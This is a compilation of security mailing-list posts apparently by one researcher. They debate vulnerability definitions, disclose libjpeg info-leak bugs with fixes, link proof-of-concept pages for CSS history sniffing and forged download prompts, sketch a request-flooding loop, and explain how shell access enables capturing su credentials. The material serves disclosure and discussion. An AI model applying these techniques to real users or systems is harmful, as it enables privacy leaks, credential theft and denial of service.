Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
> The thread read Google vulnerabilities with PoC. From my understanding it > was a RFI vulnerability on YouTube, and I voiced my support that this is a > vulnerability. I don't think this is accurate, at least based on the standard definition of RFI: a server-side scripting language - usually PHP - accidentally executing a script fetched from a remote server because it passed an attacker-controlled string to an API that allows both local file paths and remote URLs. The report talks about a different behavior: the ability for users to upload video and non-video content using legitimate functionality of the site, without a way to make the server do anything interesting with the received data. This may or may not be interesting on its own merit, but I think it's pretty far from RFI. > I also explained a JSON Hijacking case as a follow up, and you said you > didn't follow. Yup, I am genuinely not familiar with the attack vector that *I think* you are describing, or why it would matter in this context. My earlier message in this thread explains my reasoning (in essence, there are certain conditions that have to be met for a typical XSSI bug, and I don't think they are met here), but if my understanding is wrong, I'd really like to learn about the proposed attack. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
> Is this treated with the same way that says that Remote File Inclusion is not > a security issue ? I'm not sure how RFI came into play on this thread - the original report wasn't about RFI. I don't have an agenda here; I'm just trying to get to the bottom of it and make sure that we converge on a common understanding of the issue. As in any argument, it's fairly likely that one of us is wrong, and I accept that it could very well be me - I have been wrong quite a few times in my life, and it's always a valuable learning opportunity. I think it's unfortunate that the thread has devolved into various accusations and credential-slinging, because it reduces the likelihood of such a productive outcome. Please feel free to ping me directly any time, though - I'm happy to chat. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
> A hacker exploits a JSON (javascript) object that has information of interest > for example holding some values for cookies. A lot of times that exploits the > same policy origin. The JSON object returned from a server can be forged over > writing javascript function that create the object. This happens because of > the same origin policy problem in browsers that cannot say if js execution it > different for two different sites. To be honest, I'm not sure I follow, but I'm fairly confident that my original point stands. If you believe that well-formed JSON objects without padding can be read across origins within the browser, I would love to see more information about that. (In this particular case, it still wouldn't matter because the response doesn't contain secrets, but it would certainly break a good chunk of the Internet.) JSONP is a different animal. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
> As a professional penetration tester, [...]
> The JSON service responds to GET requests , and there is a good chance that
> the service is also vulnerable to JSON Hijacking attacks.
That's... not how XSSI works.
To have a script inclusion vulnerability, you need to have a vanilla
GET response that contains some user-specific secrets that are
returned to the caller based on HTTP cookies (or, less likely, other
"ambient" credentials). For example, a script response that discloses
the contents of your mailbox or the list of private contacts would be
of concern.
Further, the response must be in a format that can be not only loaded,
but also inspected by another site opened in your browser; most types
of JSONP fall into this category, but JSON generally does not,
essentially because of how the meaning of "{" is overloaded in JS
depending on where it appears in a block of code.
Last but not least, the final piece of the puzzle is that the response
must be served at a URL that can be guessed by third parties who don't
have access to your account.
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Oh, wow :-) To put things in perspective, it probably helps to understand that virtually all video hosting sites perform batch, queue-based conversions of uploaded content. There is a good reason for this design: video conversions are extremely CPU-intensive - and an orderly, capped-throughput queue gives you much better resilience to DoS attacks. Alas, this model is not very user-friendly: it may take good 20 minutes to upload a clip to Vimeo over my lowly DSL connection, and then another 40 to wait my turn in the conversion queue. If the video I uploaded turns out to be in an unsupported format (I'm still using MS-CRAM), I have just wasted an hour of my time. A simple workaround would be for Vimeo to have a client-side check that flags obvious problems before sending any data to the server. It's not a security feature, but it minimizes my pain. Does it make sense to duplicate this check on the server, too? You could, but I don't think it adds real value: after all, the converter will sooner or later perform the same check anyway. And for users who want to take Vimeo down, uploading tons of cat videos makes more sense: after all, converting them will cost more than just bailing out early on an invalid file. As for other attacks you mention: it's fairly easy to construct valid videos that also work as file archives, HTML documents, or shell scripts. Ultimately, sites that deal with user-supplied content often have to make tough decisions that don't fit in the neat defitions of ISO standards or academic papers of the old. Mechanisms such as quotas, various abuse-detection heuristics, rapid scalability - and even user education and good UX design - go hand-in-hand with more traditional approaches to minimizing risk. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
> Zakewski, > > Thank you for your e-mail. I welcome all opinions, that are backed up by > evidences. > > I am not just a security researcher, I am also an academic in the field and > lecturer. All right :-) Thank you for the overview of CIA triad. I don't think there's a good probability that our thinking about this report will converge - but if you see demand for the approach you are advocating (be it in the academia or in the consulting business), I think that's fair. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying "the system is secure if it doesn't do the things we *really* don't want it to do". In this spirit, the term "vulnerability" is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
> If you were evil, you could upload huge blobs and just take up space on the > google servers. Keep in mind that the upload functionality is there legitimately: you can upload gigabytes of data to Youtube, Drive, Gmail, etc. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
> The only reasonable way to 'exploit' the bug is using youtube as a > "personal storage" uploading non-video files to your own profile: so what? That would require a way to retrieve the stored data, which - as I understand - isn't possible here (although the report seems a bit hard-to-parse). From what I recall, you can just upload a blob of data and essentially see it disappear. We do have quite a few services where you can legitimately upload and share nearly-arbitrary content, though. Google Drive is a good example. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [OT] pls ignore
>> Looks like root and intermediate certificate hashes to me > I was guessing it was hashes to either one pre-compiled exploit with two > architectures No, if you look closely, it's pretty clear that it's a hash of Gaurang's upcoming novel. A touching story of love between a vampire and a small-town girl. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
> Doesn't Google always send JSON with Content-Disposition: attachment or so > because of that? One of the reasons (there's also content sniffing, etc). But then, consider view-source:, too - you can use it in Firefox to render the source of a HTML page in a frame (Chrome no longer lets you use view-source within frames). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
>> But I wouldn't consider it a failing on part of the targeted website - >> you'd need to put essentially everything behind XFO to fix this >> problem on application level, which is not feasible for a good number >> of websites (including FB, because they have a variety of gadgets that >> are meant to be framed). > > Or use JS to make it impossible to select text or so. Doesn't work for non-HTML content, such as JSON responses, images, etc :-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
> That page allows drag-and-drop of the user's name. If you can convince the > user > to select his name with a triple-click and then do a drag-and-drop of that > name to > some place outside the iframe, you can find out his name, so I'd say it's a > privacy > leak. I had something to do with Chrome, Safari, and Firefox disallowing cross-domain drag-and-drop: http://lcamtuf.coredump.cx/dnd/ We have pinged Microsoft long time ago about this, too - and hopefully this will be resolved on their end (at that rate, somewhere by year 2032). But I wouldn't consider it a failing on part of the targeted website - you'd need to put essentially everything behind XFO to fix this problem on application level, which is not feasible for a good number of websites (including FB, because they have a variety of gadgets that are meant to be framed). > Yeah, Chromium has protections against that, but they're not exactly > bulletproof – they become useless as soon as there's a single page on the > victim domain that is framable and somehow lets the user publish data. Well, honestly, that becomes a bit of a stretch - if there's a good PoC you can put together for Facebook specifically, I suspect it may convince them to fix this, though. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Clickjacking (?) on Facebook.com (Question)
What is your exact concern? One should obviously not enter their Facebook credentials while the address bar shows darksecurity.de; after all, instead of framing Facebook, you could just create a fake login form that looks just like theirs. Clickjacking is a distinct concern, but generally only in cases where a UI action with serious consequences (e.g., deleting your account, sharing something with a stranger) can be accomplished in one or several clicks. The pages you are framing don't seem to fall into this category. It's worth noting that XFO doesn't fully eliminate the risk: http://lcamtuf.blogspot.com/2011/12/x-frame-options-or-solving-wrong.html An interesting consequence of pages that show your login or other personal information, and can be framed, is that they make phishing a bit easier: you can cleverly arrange them to imply that the top-level page knows who you are. But the gain here probably isn't dramatic. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] bugs in IJG jpeg6b & libjpeg-turbo
Dearly beloved, So, for one reason or another, the IJG jpeg library has gained some notoriety as one of the most robust pieces of complex, security-critical C code. Despite countless fuzzing efforts, I don't recall any reports of serious vulnerabilities at least since the release of jpeg6b in 1998 (that's still the most commonly-used version of that library). Compared to the track record of libraries such as libpng or libtiff, that's quite a feat. Well, as it happens, jpeg6b and some of its optimized clones (e.g., libjpeg-turbo) will use uninitialized memory when decoding images with missing SOS data for the luminance component (Y) in presence of valid chroma data (Cr, Cb). Here's a nice PoC for Chrome, Firefox & Safari, with fixes shipping as we speak (CVE-2013-6629): http://lcamtuf.coredump.cx/jpeg_leak/ Funnily enough, as we were investigating this finding, we noticed that the problem has been independently spotted back in 2003, but not recognized as a security issue: http://bugs.ghostscript.com/show_bug.cgi?id=686980 The patch developed by Ghotscript folks to fix rendering problems with a particular document apparently ended up in limbo until 2013, at which point it was incorporated into a relatively little-used version 9 of IJG jpeg. As far as I can tell, there are no changelog entries associated with this fix. Anyway, if you're using libjpeg-turbo, jpeg6b, or any derived code, you probably want to backport the changes to get_sos() in jdmarker.c. Look for the section that talks about checking for unique component IDs. A new version of libjpeg-turbo will probably fix this upstream soon. I wouldn't expect upstream fixes to jpeg6b itself. ... While we're on the topic of JPEG libraries... a bit less interestingly, there is also a separate but similar issue in the handling of Huffman tables in libjpeg-turbo. This one apparently does not affect IJG jpeg, and doesn't such a colorful history to go with it. A raw image illustrating the problem (CVE-2013-6630) is here: http://lcamtuf.coredump.cx/jpeg_leak/turbo-dht.jpg A simple fix for this is to locate get_dht in jdmarker.c and make sure that the huffval[] table is zeroed before use. ... Well, that's it. As far as the impact goes, similar info leaks have been previously shown to allow a variety of things in the browser environment, including cookie theft or bypassing ASLR; see http://vexillium.org/?sec-ff for one cool example. The general case of code that performs one-shot image conversions in a separate process is of minimal concern; in-process or multi-shot conversions can be problematic. Converters that do not directly decode user-supplied JPEGs should be OK. PS. If you're interested about the tool used to generate and isolate these inputs, check out http://code.google.com/p/american-fuzzy-lop/ /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Any particular reason why MS is scanning me for port 80?
To answer your question, yes. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Serious Yahoo bug discovered. Researchers rewarded with $12.50
If you are sending in an unsolicited vulnerability report, I think it's fair to expect the vendor to fix the issue promptly and play nice. Beyond that, you are willfully making a gamble with your own time. Nobody is forcing you to do that. If you are lucky, perhaps the vendor will be impressed with your work and perhaps will contract you in the future. Or, perhaps they will give you a hefty reward. Another perfectly acceptable outcome is that they will just thank you and maybe send you a t-shirt. A coupon to a corporate store seems a bit impersonal, but you know, gift horse, mouth... In the end, vulnerability reward programs have their pros and cons, compared to building in-house talent, commissioning traditional third-party security assessments, and so on; companies that favor one approach over the other aren't necessarily incompetent or evil. And you know, I'm saying this as a guy who recently bumped our own rewards for XSS to as much as $7.5k... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
> for doing this features in httpd.conf you can use AllowOverride None instead > of AllowOverride all AllowSymlinks is a red herring here (hardlinks should do, unless you have stuff partitioned in a very thoughtful way, which most don't), similarly to suexec. In general, sharing web hosting providers that allow shell access or scripting are pretty much boned in a myriad of ways. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Denial of Service in WordPress
> I.e. this is 21 times / infinite times more effective for attack.
Not really, in terms of the bandwidth you can use up / the number of
requests you can create. You're essentially trading this:
for (var i = 0; i < whatever; i++) {
var x = new XMLHttpRequest(); /* or new Image() or whatever */
...
}
...for this:
for (var i = 0; i < whatever / redirect_limit; i++) {
for (var j = 0; j < redirect_limit; j++) { /* implicit loop */
...
}
}
...and it shouldn't matter.
You can generate a ton of expensive traffic from within JS these days.
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Denial of Service in WordPress
> Attack exactly overload web sites presented in endless loop of redirects. As > I showed in all cases of Looped DoS vulnerabilities in web sites and web > applications, which I wrote about during 2008 (when I created this type of > attacks) - 2013. You do realize that any browser can be made to issue a *lot* of requests to any other destination on the web - say, by instantiating a bunch of images, leveraging CORS, navigating iframes, etc? Browsers detect redirect loops to prevent accidental mishaps and simplify troubleshooting, not to stop malicious attacks. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Paypal Bug Bounty #31 - Mail Encoding Web Vulnerability
Total word count: ~1065 Words that provide relevant information about the bug: ~95 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Using CSS :visited to steal your history (again, zzzz...)
I guess this may be somewhat amusing... As you probably know, most browser vendors have fixed the ability to enumerate your browsing history through the CSS :visited pseudo-selector. The fix severely constraints the styling possible for visited links, and hides it from APIs such as window.getComputedStyle() [1]. The fix does not prevent attackers from extracting similar information through cache timing [2], or by examining onerror / onload events for scripts and images loaded from sites to which you may be logged in. Nevertheless, the :visited attack is particularly versatile and reliable, so several people have tried to circumvent the fix by showing the user a set of hyperlinked snippets of text that, depending on the browsing history, will blend with the background or remain visible on the screen. Their visibility can be then indirectly measured by seeing how the user interacts with the page. The problem with these attacks is that they are either unrealistic, or extremely low-throughput. So, here is a slightly more interesting entry for this contest. The PoC works in Chrome and Firefox, but should be easily portable to other browsers: http://lcamtuf.coredump.cx/yahh/ The basic idea behind this inferior clone of Asteroids is that we hurl a lot of link-based "asteroids" toward your spaceship, but you only see (and take down) the ones that correspond to the sites you have visited. There are several tricks to maintain immersion, including some proportion of "real" asteroids that the application is sure are visible to you. The approach is easily scalable to hundreds or thousands of URLs that can be tested very quickly, as discussed here: http://lcamtuf.blogspot.com/2013/05/some-harmless-old-fashioned-fun-with-css.html Captain Obvious signing off, /mz [1] https://developer.mozilla.org/en-US/docs/CSS/:visited [2] http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-overrated.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Allegro.pl XSS [0-day]
> CVSS2 define a standard XSS ~4.3/10, more critical are CSRF ~6.8 or Open Redirect ~5.8 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Exploiting sibling domains cookie isolation policy to DoS CDN users
This is fairly well-known, I think; for example, there's a mention of this here (search for appspot.com): http://lcamtuf.blogspot.com/2010/10/http-cookies-or-how-not-to-design.html I think it's also covered in "The Tangled Web"; it's also why you see domains such as blogspot.com and appspot.com in PSL: http://mxr.mozilla.org/mozilla-central/source/netwerk/dns/effective_tld_names.dat?raw=1 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [0 Day] XSS Persistent in Blogspot of Google
> > OGMMM WTFF 0DAY XSS > Sorry, getting a bit tired of these. Well, the world is changing. You can probably do a lot more direct damage with a (legit) XSS in a high-value site than with a local privilege escalation in sudo. XSS reports are less actionable for the average reader, but full disclosure is probably still beneficial, in that it provides data points about the types of flaws a particular vendor happens to have, and the speed and quality of the deployed fixes. Of course, many of the XSS reports in knorr.com and similarly exciting destinations are zz... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT Google raises sploit bounties
> I would be interested what bounties they would pay > for operation Аврора or for a botnet of say 1M host. Reward amounts are public; for example, here are the rules for the web app program: http://www.google.com/about/appsecurity/reward-program/ Neither malware on user machines nor attacking employees is within scope, though: the program is mostly about recognizing original research into potential design and implementation flaws in our code. We occasionally decide to extend rewards of some sort to people who report very interesting or sensitive issues that fall outside the scope of the existing programs, but we don't offer Microsoft-style bounties for identifying malware authors, etc. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT Google raises sploit bounties
> His question seemed pretty clear to me. As indicated in the article he > linked to, Google apparently raised their bounty/reward. He's asking if > something happened to one of their products to cause that, or if they're > just paranoid (and maybe expecting something to happen to one of their > products). FWIW, these choices seem weird... for any announcement of that sort, it seems more rational to assume any of the following: 1) It's getting harder to find bugs. Reward amounts correspond to the average time needed to locate a vuln. 2) More reward programs are competing for a fixed pool of skilled researchers. Reward amounts are just "bids" for their time. 3) Incoming reports are surprisingly good. Reward amounts are set to recognize high quality work. 4) The vendor thinks that their product is bulletproof, and uses increasing reward amounts as a publicity stunt. As far as I know, all reward increases for Google VRPs were driven by a combination of factors 1 through 3. I am not sure how "being paranoid" factors in - complex products have bugs, browsers doubly so. Similarly, malware seems like a weird reason to bump up rewards. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] TTY handling when executing code in lower-privileged context (su, virt containers)
The only thing I am saying is that when you have a choice between direct root logins and using sudo / su, telling people to use the latter option for "security reasons" actually makes them worse off. Poor corporate security practices, schizophrenic account lockout policies, or dealing with "hundreds of administrators" on a single box are completely tangential to that (though you can have as many uid 0 accounts as you want). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] TTY handling when executing code in lower-privileged context (su, virt containers)
> I think you've taken that far too literaly. My understanding of it is to > protect against a) brute force retardation b) dumb attackers. The advice weakens the security of your system, because it means I just need to compromise your unprivileged account (in which you run your browser, mail client, and so on) to own the entire box. As for the benefits, care to elaborate? I'm not sure what a) and b) really mean. If you're worried about brute-force, don't use trivial passwords. If you worry about opportunistic attacks, do that and then patch your stuff every now and then. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] TTY handling when executing code in lower-privileged context (su, virt containers)
> "Using su to execute commands as an untrusted user from an interactive > shell may allow the untrusted user to escalate privileges to the user > running the shell." If you have the ability to execute code on that terminal before the user executes su, it is also possible to simply never allow the real su application to run until you've already captured the credentials and escalated to root. For example, you could define an alias or change PATH in the shell; ptrace the shell or use LD_PRELOAD to change its semantics; or simply never return to the shell at all, and simply fake all the subsequent interactions with it (not particularly hard to do this in a convincing way). This is why I find the standard security mantra of "disable root logins and use su / sudo" to be extremely silly. In general, very few OSes are designed to handle such scenarios gracefully. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] How much time is appropriate for fixing a bug?
> Wikipedia says 5 months: http://en.wikipedia.org/wiki/Responsible_disclosure Well, the encyclopedia has spoken. So it's settled then. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] things you can do with downloads
Another moderately interesting tidbit, I guess... It is an important and little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs. Perhaps more interestingly, you can also navigate third-party documents to resources served with Content-Disposition: attachment, in which case, you get the original contents of the address bar, plus a rogue download prompt attached to an unsuspecting page that never wanted you to download that file. PoC: http://lcamtuf.coredump.cx/fldl/ More info: http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.html It's closely related to many other fundamental, open issues with browser UI design - but I guess it's an interesting highlight. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Vulnerability research and exploit writing
> Our interest is exploits which run over Windows 7, Snow Leopard with > applications such MS Office, Adobe, Browsers, Media Player , Notepad etc Well, good thing I have a stash of Notepad 0-days. Most of them involve you saving a snippet of text as evil.bat and clicking on it, though. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] We're now paying up to $20, 000 for web vulns in our services
> A you-only-get-it-when-successful 20,000$ budget from Google is > insulting, considering the perhaps massive time investment from > the researcher. [...] and yet they only pay a nice researcher 20 > grand? You can't even live on that. Researchers aren't just kids > with no responsibilities, they have mortgages and families People who want to make a living helping to improve Google security are welcome to apply for a job :-) We have a remarkably large and interesting security team. The program simply serves to complement that (and some other, contract-driven efforts), and it works for quite a few people who see it as a way to do something useful on the side, and get compensated for it, too. Now, I have done a fair amount of vulnerability research in my life, I do have a family and a mortgage - and I still wouldn't see $20k as an insult; but I know that this is subjective. In that spirit, you are at liberty to determine whether to participate, and how much time to invest into the pursuit :-) Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] We're now paying up to $20, 000 for web vulns in our services
> IMHO, anyone who willingly, knowingly places customer data at risk by > inviting attacks on their production systems is playing a very dangerous > game. There is no guarantee that a vuln discovered by a truly honest > researcher couldn't become a weapon for the dishonest "researcher" through > secondary discovery I'm not sure I follow. Are you saying that the dishonest researcher will not try to find vulnerabilities if there is no reward program for the honest ones? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] FYI: We're now paying up to $20, 000 for web vulns in our services
Hey, Hopefully this won't offend the moderators: http://googleonlinesecurity.blogspot.com/2012/04/spurring-more-vulnerability-research.html I suspect I know how the debate will be shaped - and I think I can offer a personal insight. I helped shape our vulnerability reward program from the start (November 2010), and I was surprised to see that simply having an honest, no-nonsense, and highly responsive process like this... well, it works for a surprisingly high number of skilled researchers, even if you start with relatively modest rewards. This puts an interesting spin on the conundrum of the black / gray market vulnerability trade: you can't realistically outcompete all buyers of weaponized exploits, but you can make the issue a lot less relevant. By having several orders of magnitude more people reporting bugs through a "white hat" channel, you are probably making "underground" vulnerabilities a lot harder to find, and fairly short-lived. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apple IOS security issue pre-advisory record
> I find it very unfortunate that 300 supposed security professionals clicked > on a hidden link like that without first checking what it was, or if not > simply ignoring it like I did!!! So how do you meaningfully "check what it is" without actually requesting the document? And what's the difference between that post and a hidden or included on a less obvious website? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fw: Earth to Facebook
> The only other people that see the vulnerability are the select few in > upSploit. OK. You should probably document that, and make it clear that this policy will not change without the reporter's explicit consent. It's an interesting project - but you guys are working for security software vendors and security consultancies, so I think it's important to clarify. > Use it once for something you may not care about to much and see how it > works for you. Well, that's not the point - the real question is what happens with valuable vulnerabilities. But really, I'm not criticizing. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fw: Earth to Facebook
> Without meaning to advertise, that is one of the reasons upSploit was > created - so that you could submit a vulnerability and then upSploit > automatically sends to the vendor. This way you and your friend don't have > to do any of the work on the disclosure. I clicked around and don't see any obvious explanation; other than the reporter and the vendor, who else gets to see the submissions and under what circumstances? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Pros and cons of 'Access-Control-Allow-Origin' header?
> Does 'Access-Control-Allow-Origin' header provide any benefits in > defending against cross site scripting attacks? No. It's a mechanism to control cross-origin XMLHttpRequests (and some other peripheral things), and adding it does not reduce the likelihood or exploitability of XSS bugs. If you use it incorrectly, you may end up removing most of the security assurances provided by the same-origin policy, but that's a separate topic. > Doesn't 'Access-Control-Allow-Origin' header make any XSS flaw > trivially exploitable? For example, if an attacker finds an XSS flaw > in a web application, he can now inject a JavaScript with > XMLHttpRequest that sends a request to attacker's web server which > serves resources with the HTTP header "Access-Control-Allow-Origin: > *". The browser would see this header and fetch the resource from the > attacker's web server. If you have an XSS vulnerability, there are many simpler ways to relay data to an attacker-controlled site without the need to use CORS. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] p0f3 release candidate
So just for the record, version 3.00 is now officially out: http://lcamtuf.coredump.cx/p03/. Many thanks to countless people who submitted signatures and bug fixes, including: Phil Ames Jason DePriest Dalibor Dukic Mark Martinec Damien Miller Nibbler Bernhard Rabe Chris John Riley Sebastian Roschke Peter Valchev Jeff Weisberg I won't be spamming the list with any further updates on p0f, but this being a major rewrite after ~6 years, I thought it makes sense to let people know - especially since the previous version is used in quite a few abuse detection / monitoring / pentesting frameworks. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] p0f3 release candidate
Hi folks, I wanted to share the news of p0f v3, a complete rewrite and redesign of my passive fingerprinting tool. == Synopsis == P0f is a tool that utilizes an array of sophisticated, purely passive traffic fingerprinting mechanisms to identify the players behind any incidental TCP/IP communications (often as little as a single normal SYN) without interfering in any way. Some of its capabilities include: - Scalable and fast identification of the operating system and software on both endpoints of a vanilla TCP connection - especially in settings where NMap probes are blocked, too slow, unreliable, or would simply set off alarms. - Measurement of system uptime and network hookup, distance (including topology behind NAT or packet filters), user language preferences, and so on. - Automated detection of connection sharing / NAT, load balancing, and application-level proxying setups, - Detection of dishonest clients / servers that forge declarative statements such as X-Mailer or User-Agent. The tool can be operated in the foreground or as a daemon, and offers a simple real-time API for third-party components that wish to obtain additional information about the actors they are talking to. Common uses for p0f include reconnaissance during penetration tests; routine network monitoring; detection of unauthorized network interconnects in corporate environments; providing signals for abuse prevention tools; and miscellaneous forensics. == What's new == Version 3 is a complete rewrite, bringing you much improved SYN and SYN+ACK fingerprinting capabilities, auto-calibrated uptime measurements, completely redone databases and signatures, new API design, IPv6 support (who knows, maybe it even works?), stateful traffic inspection with thorough cross-correlation of collected data, application-level fingerprinting modules (for HTTP now, more to come), and a lot more. == Download / demo == Please visit: http://lcamtuf.coredump.cx/p0f3/ This is a "release candidate", and my hope is to get folks to contribute signatures and help squash bugs. If all goes according to plan, this should progress to a final release in a week or two. Some issues are expected, so please report problems off-the-list. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT: Firefox question / poll
